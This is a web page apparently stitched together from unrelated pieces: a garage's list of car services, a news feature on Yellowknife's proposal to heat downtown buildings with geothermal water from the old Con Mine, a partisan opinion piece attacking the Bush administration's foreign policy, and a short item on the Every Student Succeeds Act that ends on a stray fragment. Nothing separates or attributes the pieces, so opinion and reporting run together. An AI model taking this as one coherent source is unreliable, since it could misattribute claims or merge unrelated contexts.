Batteries, brake inspection, brakes, bulb replacement, catalytic converters and exhausts, servicing and wheel alignment. If you can't find what you want, feel free to call us to ask our advice, we're always ready to help or offer advice.


As far as heating solutions go, running water through an old mine is a bit out of the ordinary.
Then again, the cold in Yellowknife isn't exactly ordinary, either. Every year, about $114 million is spent on energy to fight off the bitter cold in the capital of the Northwest Territories, where temperatures can dip below minus-40 Celsius in the winter.
Yellowknife's main heating solution is heating oil and, with the way petroleum costs have looked in recent years, many are thinking there must be a better way.
Enter the Con Mine–an old gold mine that's been looking for a new use.
"For years and years and years when the mine was in operation, you'd have people working underground, it could be minus-45 Celsius up at the surface, and they'd be sweating bullets down below at 1,500, 2,000 feet where it was very, very warm," Yellowknife's Deputy Mayor Mark Heyck said.
The City of Yellowknife has been conducting feasibility studies for a few years and will put a proposal to a referendum in March. The plan would see pipes pump water through the mine, harnessing that natural geothermal heat to warm 39 of the largest buildings in downtown Yellowknife, backed up by biomass and oil-burning boilers.
The mine would start heating buildings in 2013 with the system fully up and running by 2016. Along the way it would transform a city landmark and make a statement to the world, according to Heyck.
"The Robertson (shaft) headframe, which sits above this 6,000-foot shaft, is a very iconic part of Yellowknife and people recognize that…boaters and pilots use it as a landmark to place themselves when they're coming in off the lake in the summertime," he said.
Removing the volatility of the price of fuel oil from the equation makes for a much more reliable business plan for Yellowknife's downtown landlords. It also means buildings won't need their own boilers–which cuts maintenance costs and frees up boiler rooms for revenue-generating space.
All told, moving to geothermal could reduce Yellowknife's fuel oil use by around 7 million litres annually–cutting the city's greenhouse gas emissions by around 17,000 tonnes every year.
A science centre could possibly be built along with the utility on the old mine site, making it even more integrated into the community. And the Con Mine utility would also likely help out the local economy.
Rational points–but a lot of the enthusiasm for the Con Mine Community Energy System isn't just a matter of numbers or dry civic projections. The utility has something most proposed energy projects don't–fans on Facebook.
The 'Yellowknife – Yes we Con' Facebook page links the would-be utility's 95 fans to Con Mine's latest developments. Fans give thumbs up to other Canadian communities considering similar utilities while sparking a rivalry with the Northwest Territories' Deh Cho Bridge for the most online fan support.
The page urges residents to join Yellowknife's community discussions, reminds citizens of the upcoming vote and sparking discussion about the city's energy needs.
The other draw for the average resident is a newfound focus on sustainability sweeping through Canada that's especially taken root in Yellowknife, according to Heyck.
"I was born in Yellowknife and I've lived here virtually my entire life except for a few years that I was away going to school and I've seen a real transformation in the kind of attitude that guides the city and the community as a whole," he said. "And people are very interested in innovative projects that are going to make Yellowknife more sustainable into the future and make us sort of less fragile and less susceptible to shocks in energy prices…just the fact that we can kind of lead by example.
All that enthusiasm would go down the drain if the project isn't financially viable. If oil prices sink the way the natural gas market has seen in the last few years, Yellowknife's geothermal utility becomes a wasteful pet project.
That's a concern, Heyck said, but not a likely issue.
"If you look at the scenario work that major energy companies and major oil companies are doing about what the world will look like 20, 30, 50 years from now, to a T they're all saying that we're going to be in a carbon-restricted environment inevitably in the future," he said. "It's interesting…in the economic analysis, we did a number of risk management scenarios and looked at potential things that could affect this project downward and things that could make the project look better.
As for operational costs, one project Yellowknife has followed as a reference is the Neighbourhood Energy Utility in Vancouver. That system pumps heat throughout Vancouver's False Creek neighbourhood, including the recently built Olympic Village.
Rather than geothermal heat, that utility harnesses warmth from Vancouver's sewage, pumping it through buildings through a similar water system. And while that showcase green energy came at an extra cost at first, Chris Baber, the City of Vancouver's neighbourhood energy utility manager, says it's now coming in below average prices.
Even if that translates to cheaper energy in Yellowknife, there's still serious risk involved. The approximate $60 million capital cost is significant, even with assistance from higher levels of government.
"It would be by far the biggest capital project that the City of Yellowknife has ever undertaken," Heyck said. "That's without a doubt.
There are still issues to be worked out and people to win over. But the thing that won't be a problem–before anyone asks–is the use of something as easy to freeze as water in the Arctic North.
Rest assured that's already been considered.
"With district energy systems, there's some very high-grade insulated pipes, so once you have heated to the temperature that's usable for heating a large building, the insulated pipes essentially retain all of that heat," Heyck said. "In a way, the City of Yellowknife already operates a large district energy system insofar as we heat our drinking water in our system because we can't just draw it out of our water source and circulate it naturally because…it would freeze in the wintertime.


In your lifetime, has the US ever exercised less global leadership?
The Middle East is burning. Iraq is disintegrating. Afghanistan is collapsing. North Korea is escalating. Iran is cheering.
And all President Bush can do is dither. The Administration has no foreign policy. At least the invasion of Iraq, though wholly misguided and strategically disastrous, was an example of decisive action. Today, in the face of crisis after crisis, Bush does nothing.
"In the current crisis, which has the potential to be as or more dangerous than previous ones, the need for a concerted American-led crisis management role is as great or even greater than in the past," writes Duke professor Bruce Jentleson.
Why isn't Condi Rice in the Middle East right now, working round the clock to defuse the violence as Warren Christopher did during the Clinton Administration in 1993 and 1996? Why aren't we talking directly to North Korea? Why do we refuse to negotiate with Iran? Why are we told we can't leave Iraq even though it's increasingly unclear why we need to stay? Why are we letting the Taliban regroup in Afghanistan?
Why doesn't the Bush Administration have a convincing answer to any of these questions?
If cowboy diplomacy is supposedly over, as Time magazine recently proclaimed, the Administration better find a replacement foreign policy, soon.


WASHINGTON— President Barack Obama signed the Every Student Succeeds Act (ESSA) into law last week. The ESSA overhauls the No Child Left Behind education law that has been in effect since 2001.
The ESSA provides key provisions that seek to assist American Indian and Alaska Native students succeed in public education, while addressing serious issues that confront many Native students across Indian Country, such as suicide prevention and domestic abuse. Included in the ESSA is the emphasis on the importance of teaching Native languages. These provisions seek to help close the achievement gaps in Tribal communities.
Preserving education programs to train teachers, and offer fellowships for Native students who want to become teachers.